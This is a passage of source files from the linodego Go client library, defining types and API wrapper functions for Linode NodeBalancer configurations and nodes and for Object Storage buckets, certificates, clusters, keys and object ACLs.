nodebalancerID, configID) if err != nil { return nil, err } return response.Data, nil } // GetNodeBalancerNode gets the template with the provided ID func (c *Client) GetNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int) (*NodeBalancerNode, error) { e := fmt.Sprintf("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) req := c.R(ctx).SetResult(&NodeBalancerNode{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerNode), nil } // CreateNodeBalancerNode creates a NodeBalancerNode func (c *Client) CreateNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, opts NodeBalancerNodeCreateOptions) (*NodeBalancerNode, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d/configs/%d/nodes", nodebalancerID, configID) req := c.R(ctx).SetResult(&NodeBalancerNode{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerNode), nil } // UpdateNodeBalancerNode updates the NodeBalancerNode with the specified id func (c *Client) UpdateNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int, opts NodeBalancerNodeUpdateOptions) (*NodeBalancerNode, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) req := c.R(ctx).SetResult(&NodeBalancerNode{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerNode), nil } // DeleteNodeBalancerNode deletes the NodeBalancerNode with the specified id func (c *Client) DeleteNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int) error { e := fmt.Sprintf("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/nodebalancer_configs.go000066400000000000000000000303111455402072200240520ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "github.com/go-resty/resty/v2" ) // NodeBalancerConfig objects allow a NodeBalancer to accept traffic on a new port type NodeBalancerConfig struct { ID int `json:"id"` Port int `json:"port"` Protocol ConfigProtocol `json:"protocol"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol"` Algorithm ConfigAlgorithm `json:"algorithm"` Stickiness ConfigStickiness `json:"stickiness"` Check ConfigCheck `json:"check"` CheckInterval int `json:"check_interval"` CheckAttempts int `json:"check_attempts"` CheckPath string `json:"check_path"` CheckBody string `json:"check_body"` CheckPassive bool `json:"check_passive"` CheckTimeout int `json:"check_timeout"` CipherSuite ConfigCipher `json:"cipher_suite"` NodeBalancerID int `json:"nodebalancer_id"` SSLCommonName string `json:"ssl_commonname"` SSLFingerprint string `json:"ssl_fingerprint"` SSLCert string `json:"ssl_cert"` SSLKey string `json:"ssl_key"` NodesStatus *NodeBalancerNodeStatus `json:"nodes_status"` } // ConfigAlgorithm constants start with Algorithm and include Linode API NodeBalancer Config Algorithms type ConfigAlgorithm string // ConfigAlgorithm constants reflect the NodeBalancer Config Algorithm const ( AlgorithmRoundRobin ConfigAlgorithm = "roundrobin" AlgorithmLeastConn ConfigAlgorithm = "leastconn" AlgorithmSource ConfigAlgorithm = "source" ) // ConfigStickiness constants start with Stickiness and include Linode API NodeBalancer Config Stickiness type ConfigStickiness string // ConfigStickiness constants reflect the node stickiness method for a NodeBalancer Config const ( StickinessNone ConfigStickiness = "none" StickinessTable ConfigStickiness = "table" StickinessHTTPCookie ConfigStickiness = "http_cookie" ) // ConfigCheck constants start with Check and include Linode API NodeBalancer Config Check methods type ConfigCheck string // ConfigCheck constants reflect the node health status checking method for a NodeBalancer Config const ( CheckNone ConfigCheck = "none" CheckConnection ConfigCheck = "connection" CheckHTTP ConfigCheck = "http" CheckHTTPBody ConfigCheck = "http_body" ) // ConfigProtocol constants start with Protocol and include Linode API Nodebalancer Config protocols type ConfigProtocol string // ConfigProtocol constants reflect the protocol used by a NodeBalancer Config const ( ProtocolHTTP ConfigProtocol = "http" ProtocolHTTPS ConfigProtocol = "https" ProtocolTCP ConfigProtocol = "tcp" ) // ConfigProxyProtocol constants start with ProxyProtocol and include Linode API NodeBalancer Config proxy protocol versions type ConfigProxyProtocol string // ConfigProxyProtocol constatns reflect the proxy protocol version used by a NodeBalancer Config const ( ProxyProtocolNone ConfigProxyProtocol = "none" ProxyProtocolV1 ConfigProxyProtocol = "v1" ProxyProtocolV2 ConfigProxyProtocol = "v2" ) // ConfigCipher constants start with Cipher and include Linode API NodeBalancer Config Cipher values type ConfigCipher string // ConfigCipher constants reflect the preferred cipher set for a NodeBalancer Config const ( CipherRecommended ConfigCipher = "recommended" CipherLegacy ConfigCipher = "legacy" ) // NodeBalancerNodeStatus represents the total number of nodes whose status is Up or Down type NodeBalancerNodeStatus struct { Up int `json:"up"` Down int `json:"down"` } // NodeBalancerConfigCreateOptions are permitted by CreateNodeBalancerConfig type NodeBalancerConfigCreateOptions struct { Port int `json:"port"` Protocol ConfigProtocol `json:"protocol,omitempty"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol,omitempty"` Algorithm ConfigAlgorithm `json:"algorithm,omitempty"` Stickiness ConfigStickiness `json:"stickiness,omitempty"` Check ConfigCheck `json:"check,omitempty"` CheckInterval int `json:"check_interval,omitempty"` CheckAttempts int `json:"check_attempts,omitempty"` CheckPath string `json:"check_path,omitempty"` CheckBody string `json:"check_body,omitempty"` CheckPassive *bool `json:"check_passive,omitempty"` CheckTimeout int `json:"check_timeout,omitempty"` CipherSuite ConfigCipher `json:"cipher_suite,omitempty"` SSLCert string `json:"ssl_cert,omitempty"` SSLKey string `json:"ssl_key,omitempty"` Nodes []NodeBalancerNodeCreateOptions `json:"nodes,omitempty"` } // NodeBalancerConfigRebuildOptions used by RebuildNodeBalancerConfig type NodeBalancerConfigRebuildOptions struct { Port int `json:"port"` Protocol ConfigProtocol `json:"protocol,omitempty"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol,omitempty"` Algorithm ConfigAlgorithm `json:"algorithm,omitempty"` Stickiness ConfigStickiness `json:"stickiness,omitempty"` Check ConfigCheck `json:"check,omitempty"` CheckInterval int `json:"check_interval,omitempty"` CheckAttempts int `json:"check_attempts,omitempty"` CheckPath string `json:"check_path,omitempty"` CheckBody string `json:"check_body,omitempty"` CheckPassive *bool `json:"check_passive,omitempty"` CheckTimeout int `json:"check_timeout,omitempty"` CipherSuite ConfigCipher `json:"cipher_suite,omitempty"` SSLCert string `json:"ssl_cert,omitempty"` SSLKey string `json:"ssl_key,omitempty"` Nodes []NodeBalancerNodeCreateOptions `json:"nodes"` } // NodeBalancerConfigUpdateOptions are permitted by UpdateNodeBalancerConfig type NodeBalancerConfigUpdateOptions NodeBalancerConfigCreateOptions // GetCreateOptions converts a NodeBalancerConfig to NodeBalancerConfigCreateOptions for use in CreateNodeBalancerConfig func (i NodeBalancerConfig) GetCreateOptions() NodeBalancerConfigCreateOptions { return NodeBalancerConfigCreateOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckTimeout: i.CheckTimeout, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, } } // GetUpdateOptions converts a NodeBalancerConfig to NodeBalancerConfigUpdateOptions for use in UpdateNodeBalancerConfig func (i NodeBalancerConfig) GetUpdateOptions() NodeBalancerConfigUpdateOptions { return NodeBalancerConfigUpdateOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CheckTimeout: i.CheckTimeout, CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, } } // GetRebuildOptions converts a NodeBalancerConfig to NodeBalancerConfigRebuildOptions for use in RebuildNodeBalancerConfig func (i NodeBalancerConfig) GetRebuildOptions() NodeBalancerConfigRebuildOptions { return NodeBalancerConfigRebuildOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckTimeout: i.CheckTimeout, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, Nodes: make([]NodeBalancerNodeCreateOptions, 0), } } // NodeBalancerConfigsPagedResponse represents a paginated NodeBalancerConfig API response type NodeBalancerConfigsPagedResponse struct { *PageOptions Data []NodeBalancerConfig `json:"data"` } // endpoint gets the endpoint URL for NodeBalancerConfig func (NodeBalancerConfigsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("nodebalancers/%d/configs", id) } func (resp *NodeBalancerConfigsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(NodeBalancerConfigsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*NodeBalancerConfigsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListNodeBalancerConfigs lists NodeBalancerConfigs func (c *Client) ListNodeBalancerConfigs(ctx context.Context, nodebalancerID int, opts *ListOptions) ([]NodeBalancerConfig, error) { response := NodeBalancerConfigsPagedResponse{} err := c.listHelper(ctx, &response, opts, nodebalancerID) if err != nil { return nil, err } return response.Data, nil } // GetNodeBalancerConfig gets the template with the provided ID func (c *Client) GetNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int) (*NodeBalancerConfig, error) { e := fmt.Sprintf("nodebalancers/%d/configs/%d", nodebalancerID, configID) req := c.R(ctx).SetResult(&NodeBalancerConfig{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerConfig), nil } // CreateNodeBalancerConfig creates a NodeBalancerConfig func (c *Client) CreateNodeBalancerConfig(ctx context.Context, nodebalancerID int, opts NodeBalancerConfigCreateOptions) (*NodeBalancerConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d/configs", nodebalancerID) req := c.R(ctx).SetResult(&NodeBalancerConfig{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerConfig), nil } // UpdateNodeBalancerConfig updates the NodeBalancerConfig with the specified id func (c *Client) UpdateNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int, opts NodeBalancerConfigUpdateOptions) (*NodeBalancerConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d/configs/%d", nodebalancerID, configID) req := c.R(ctx).SetResult(&NodeBalancerConfig{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerConfig), nil } // DeleteNodeBalancerConfig deletes the NodeBalancerConfig with the specified id func (c *Client) DeleteNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int) error { e := fmt.Sprintf("nodebalancers/%d/configs/%d", nodebalancerID, configID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // RebuildNodeBalancerConfig updates the NodeBalancer with the specified id func (c *Client) RebuildNodeBalancerConfig(ctx context.Context, nodeBalancerID int, configID int, opts NodeBalancerConfigRebuildOptions) (*NodeBalancerConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d/configs/%d/rebuild", nodeBalancerID, configID) req := c.R(ctx).SetResult(&NodeBalancerConfig{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerConfig), nil } golang-github-linode-linodego-1.28.0/nodebalancer_firewalls.go000066400000000000000000000023071455402072200244160ustar00rootroot00000000000000package linodego import ( "context" "fmt" "github.com/go-resty/resty/v2" ) // NodeBalancerFirewallsPagedResponse represents a Linode API response for listing of Cloud Firewalls type NodeBalancerFirewallsPagedResponse struct { *PageOptions Data []Firewall `json:"data"` } func (NodeBalancerFirewallsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("nodebalancers/%d/firewalls", id) } func (resp *NodeBalancerFirewallsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(NodeBalancerFirewallsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*NodeBalancerFirewallsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListNodeBalancerFirewalls returns a paginated list of Cloud Firewalls for nodebalancerID func (c *Client) ListNodeBalancerFirewalls(ctx context.Context, nodebalancerID int, opts *ListOptions) ([]Firewall, error) { response := NodeBalancerFirewallsPagedResponse{} err := c.listHelper(ctx, &response, opts, nodebalancerID) if err != nil { return nil, err } return response.Data, nil } golang-github-linode-linodego-1.28.0/nodebalancer_stats.go000066400000000000000000000017151455402072200235660ustar00rootroot00000000000000package linodego import ( "context" "fmt" ) // NodeBalancerStats represents a nodebalancer stats object type NodeBalancerStats struct { Title string `json:"title"` Data NodeBalancerStatsData `json:"data"` } // NodeBalancerStatsData represents a nodebalancer stats data object type NodeBalancerStatsData struct { Connections [][]float64 `json:"connections"` Traffic StatsTraffic `json:"traffic"` } // StatsTraffic represents a Traffic stats object type StatsTraffic struct { In [][]float64 `json:"in"` Out [][]float64 `json:"out"` } // GetNodeBalancerStats gets the template with the provided ID func (c *Client) GetNodeBalancerStats(ctx context.Context, nodebalancerID int) (*NodeBalancerStats, error) { e := fmt.Sprintf("nodebalancers/%d/stats", nodebalancerID) req := c.R(ctx).SetResult(&NodeBalancerStats{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancerStats), nil } golang-github-linode-linodego-1.28.0/object_storage.go000066400000000000000000000015101455402072200227160ustar00rootroot00000000000000package linodego import ( "context" ) // ObjectStorageTransfer is an object matching the response of object-storage/transfer type ObjectStorageTransfer struct { AmmountUsed int `json:"used"` } // CancelObjectStorage cancels and removes all object storage from the Account func (c *Client) CancelObjectStorage(ctx context.Context) error { e := "object-storage/cancel" _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // GetObjectStorageTransfer returns the amount of outbound data transferred used by the Account func (c *Client) GetObjectStorageTransfer(ctx context.Context) (*ObjectStorageTransfer, error) { e := "object-storage/transfer" req := c.R(ctx).SetResult(&ObjectStorageTransfer{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageTransfer), nil } golang-github-linode-linodego-1.28.0/object_storage_bucket_certs.go000066400000000000000000000035151455402072200254620ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" ) type ObjectStorageBucketCert struct { SSL bool `json:"ssl"` } type ObjectStorageBucketCertUploadOptions struct { Certificate string `json:"certificate"` PrivateKey string `json:"private_key"` } // UploadObjectStorageBucketCert uploads a TLS/SSL Cert to be used with an Object Storage Bucket. func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterID, bucket string, opts ObjectStorageBucketCertUploadOptions) (*ObjectStorageBucketCert, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } clusterID = url.PathEscape(clusterID) bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) req := c.R(ctx).SetResult(&ObjectStorageBucketCert{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageBucketCert), nil } // GetObjectStorageBucketCert gets an ObjectStorageBucketCert func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) (*ObjectStorageBucketCert, error) { clusterID = url.PathEscape(clusterID) bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) req := c.R(ctx).SetResult(&ObjectStorageBucketCert{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageBucketCert), nil } // DeleteObjectStorageBucketCert deletes an ObjectStorageBucketCert func (c *Client) DeleteObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) error { clusterID = url.PathEscape(clusterID) bucket = url.PathEscape(bucket) e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/object_storage_buckets.go000066400000000000000000000137731455402072200244540ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // ObjectStorageBucket represents a ObjectStorage object type ObjectStorageBucket struct { Label string `json:"label"` Cluster string `json:"cluster"` Created *time.Time `json:"-"` Hostname string `json:"hostname"` Objects int `json:"objects"` Size int `json:"size"` } // ObjectStorageBucketAccess holds Object Storage access info type ObjectStorageBucketAccess struct { ACL ObjectStorageACL `json:"acl"` CorsEnabled bool `json:"cors_enabled"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *ObjectStorageBucket) UnmarshalJSON(b []byte) error { type Mask ObjectStorageBucket p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) return nil } // ObjectStorageBucketCreateOptions fields are those accepted by CreateObjectStorageBucket type ObjectStorageBucketCreateOptions struct { Cluster string `json:"cluster"` Label string `json:"label"` ACL ObjectStorageACL `json:"acl,omitempty"` CorsEnabled *bool `json:"cors_enabled,omitempty"` } // ObjectStorageBucketUpdateAccessOptions fields are those accepted by UpdateObjectStorageBucketAccess type ObjectStorageBucketUpdateAccessOptions struct { ACL ObjectStorageACL `json:"acl,omitempty"` CorsEnabled *bool `json:"cors_enabled,omitempty"` } // ObjectStorageACL options start with ACL and include all known ACL types type ObjectStorageACL string // ObjectStorageACL options represent the access control level of a bucket. const ( ACLPrivate ObjectStorageACL = "private" ACLPublicRead ObjectStorageACL = "public-read" ACLAuthenticatedRead ObjectStorageACL = "authenticated-read" ACLPublicReadWrite ObjectStorageACL = "public-read-write" ) // ObjectStorageBucketsPagedResponse represents a paginated ObjectStorageBucket API response type ObjectStorageBucketsPagedResponse struct { *PageOptions Data []ObjectStorageBucket `json:"data"` } // endpoint gets the endpoint URL for ObjectStorageBucket func (ObjectStorageBucketsPagedResponse) endpoint(args ...any) string { endpoint := "object-storage/buckets" if len(args) > 0 { endpoint = fmt.Sprintf(endpoint+"/%s", url.PathEscape(args[0].(string))) } return endpoint } func (resp *ObjectStorageBucketsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(ObjectStorageBucketsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*ObjectStorageBucketsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListObjectStorageBuckets lists ObjectStorageBuckets func (c *Client) ListObjectStorageBuckets(ctx context.Context, opts *ListOptions) ([]ObjectStorageBucket, error) { response := ObjectStorageBucketsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // ListObjectStorageBucketsInCluster lists all ObjectStorageBuckets of a cluster func (c *Client) ListObjectStorageBucketsInCluster(ctx context.Context, opts *ListOptions, clusterID string) ([]ObjectStorageBucket, error) { response := ObjectStorageBucketsPagedResponse{} err := c.listHelper(ctx, &response, opts, clusterID) if err != nil { return nil, err } return response.Data, nil } // GetObjectStorageBucket gets the ObjectStorageBucket with the provided label func (c *Client) GetObjectStorageBucket(ctx context.Context, clusterID, label string) (*ObjectStorageBucket, error) { label = url.PathEscape(label) clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s", clusterID, label) req := c.R(ctx).SetResult(&ObjectStorageBucket{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageBucket), nil } // CreateObjectStorageBucket creates an ObjectStorageBucket func (c *Client) CreateObjectStorageBucket(ctx context.Context, opts ObjectStorageBucketCreateOptions) (*ObjectStorageBucket, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "object-storage/buckets" req := c.R(ctx).SetResult(&ObjectStorageBucket{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageBucket), nil } // GetObjectStorageBucketAccess gets the current access config for a bucket func (c *Client) GetObjectStorageBucketAccess(ctx context.Context, clusterID, label string) (*ObjectStorageBucketAccess, error) { label = url.PathEscape(label) clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label) req := c.R(ctx).SetResult(&ObjectStorageBucketAccess{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageBucketAccess), nil } // UpdateObjectStorageBucketAccess updates the access configuration for an ObjectStorageBucket func (c *Client) UpdateObjectStorageBucketAccess(ctx context.Context, clusterID, label string, opts ObjectStorageBucketUpdateAccessOptions) error { body, err := json.Marshal(opts) if err != nil { return err } label = url.PathEscape(label) clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) if err != nil { return err } return nil } // DeleteObjectStorageBucket deletes the ObjectStorageBucket with the specified label func (c *Client) DeleteObjectStorageBucket(ctx context.Context, clusterID, label string) error { label = url.PathEscape(label) e := fmt.Sprintf("object-storage/buckets/%s/%s", clusterID, label) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/object_storage_clusters.go000066400000000000000000000036551455402072200246560ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // ObjectStorageCluster represents a linode object storage cluster object type ObjectStorageCluster struct { ID string `json:"id"` Domain string `json:"domain"` Status string `json:"status"` Region string `json:"region"` StaticSiteDomain string `json:"static_site_domain"` } // ObjectStorageClustersPagedResponse represents a linode API response for listing type ObjectStorageClustersPagedResponse struct { *PageOptions Data []ObjectStorageCluster `json:"data"` } // endpoint gets the endpoint URL for ObjectStorageCluster func (ObjectStorageClustersPagedResponse) endpoint(_ ...any) string { return "object-storage/clusters" } func (resp *ObjectStorageClustersPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(ObjectStorageClustersPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*ObjectStorageClustersPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListObjectStorageClusters lists ObjectStorageClusters func (c *Client) ListObjectStorageClusters(ctx context.Context, opts *ListOptions) ([]ObjectStorageCluster, error) { response := ObjectStorageClustersPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetObjectStorageCluster gets the template with the provided ID func (c *Client) GetObjectStorageCluster(ctx context.Context, clusterID string) (*ObjectStorageCluster, error) { clusterID = url.PathEscape(clusterID) e := fmt.Sprintf("object-storage/clusters/%s", clusterID) req := c.R(ctx).SetResult(&ObjectStorageCluster{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageCluster), nil } golang-github-linode-linodego-1.28.0/object_storage_keys.go000066400000000000000000000076161455402072200237660ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "github.com/go-resty/resty/v2" ) // ObjectStorageKey represents a linode object storage key object type ObjectStorageKey struct { ID int `json:"id"` Label string `json:"label"` AccessKey string `json:"access_key"` SecretKey string `json:"secret_key"` Limited bool `json:"limited"` BucketAccess *[]ObjectStorageKeyBucketAccess `json:"bucket_access"` } // ObjectStorageKeyBucketAccess represents a linode limited object storage key's bucket access type ObjectStorageKeyBucketAccess struct { Cluster string `json:"cluster"` BucketName string `json:"bucket_name"` Permissions string `json:"permissions"` } // ObjectStorageKeyCreateOptions fields are those accepted by CreateObjectStorageKey type ObjectStorageKeyCreateOptions struct { Label string `json:"label"` BucketAccess *[]ObjectStorageKeyBucketAccess `json:"bucket_access"` } // ObjectStorageKeyUpdateOptions fields are those accepted by UpdateObjectStorageKey type ObjectStorageKeyUpdateOptions struct { Label string `json:"label"` } // ObjectStorageKeysPagedResponse represents a linode API response for listing type ObjectStorageKeysPagedResponse struct { *PageOptions Data []ObjectStorageKey `json:"data"` } // endpoint gets the endpoint URL for Object Storage keys func (ObjectStorageKeysPagedResponse) endpoint(_ ...any) string { return "object-storage/keys" } func (resp *ObjectStorageKeysPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(ObjectStorageKeysPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*ObjectStorageKeysPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListObjectStorageKeys lists ObjectStorageKeys func (c *Client) ListObjectStorageKeys(ctx context.Context, opts *ListOptions) ([]ObjectStorageKey, error) { response := ObjectStorageKeysPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // CreateObjectStorageKey creates a ObjectStorageKey func (c *Client) CreateObjectStorageKey(ctx context.Context, opts ObjectStorageKeyCreateOptions) (*ObjectStorageKey, error) { body, err := json.Marshal(opts) if err != nil { return nil, NewError(err) } e := "object-storage/keys" req := c.R(ctx).SetResult(&ObjectStorageKey{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageKey), nil } // GetObjectStorageKey gets the object storage key with the provided ID func (c *Client) GetObjectStorageKey(ctx context.Context, keyID int) (*ObjectStorageKey, error) { e := fmt.Sprintf("object-storage/keys/%d", keyID) req := c.R(ctx).SetResult(&ObjectStorageKey{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageKey), nil } // UpdateObjectStorageKey updates the object storage key with the specified id func (c *Client) UpdateObjectStorageKey(ctx context.Context, keyID int, opts ObjectStorageKeyUpdateOptions) (*ObjectStorageKey, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("object-storage/keys/%d", keyID) req := c.R(ctx).SetResult(&ObjectStorageKey{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageKey), nil } // DeleteObjectStorageKey deletes the ObjectStorageKey with the specified id func (c *Client) DeleteObjectStorageKey(ctx context.Context, keyID int) error { e := fmt.Sprintf("object-storage/keys/%d", keyID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/object_storage_object.go000066400000000000000000000044101455402072200242460ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" ) type ObjectStorageObjectURLCreateOptions struct { Name string `json:"name"` Method string `json:"method"` ContentType string `json:"content_type,omitempty"` ContentDisposition string `json:"content_disposition,omitempty"` ExpiresIn *int `json:"expires_in,omitempty"` } type ObjectStorageObjectURL struct { URL string `json:"url"` Exists bool `json:"exists"` } type ObjectStorageObjectACLConfig struct { ACL string `json:"acl"` ACLXML string `json:"acl_xml"` } type ObjectStorageObjectACLConfigUpdateOptions struct { Name string `json:"name"` ACL string `json:"acl"` } func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, label string, opts ObjectStorageObjectURLCreateOptions) (*ObjectStorageObjectURL, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } label = url.PathEscape(label) objectID = url.PathEscape(objectID) e := fmt.Sprintf("object-storage/buckets/%s/%s/object-url", objectID, label) req := c.R(ctx).SetResult(&ObjectStorageObjectURL{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) return r.Result().(*ObjectStorageObjectURL), err } func (c *Client) GetObjectStorageObjectACLConfig(ctx context.Context, objectID, label, object string) (*ObjectStorageObjectACLConfig, error) { label = url.PathEscape(label) object = url.QueryEscape(object) e := fmt.Sprintf("object-storage/buckets/%s/%s/object-acl?name=%s", objectID, label, object) req := c.R(ctx).SetResult(&ObjectStorageObjectACLConfig{}) r, err := coupleAPIErrors(req.Get(e)) return r.Result().(*ObjectStorageObjectACLConfig), err } func (c *Client) UpdateObjectStorageObjectACLConfig(ctx context.Context, objectID, label string, opts ObjectStorageObjectACLConfigUpdateOptions) (*ObjectStorageObjectACLConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } label = url.PathEscape(label) e := fmt.Sprintf("object-storage/buckets/%s/%s/object-acl", objectID, label) req := c.R(ctx).SetResult(&ObjectStorageObjectACLConfig{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*ObjectStorageObjectACLConfig), err } golang-github-linode-linodego-1.28.0/pagination.go000066400000000000000000000115311455402072200220610ustar00rootroot00000000000000package linodego /** * Pagination and Filtering types and helpers */ 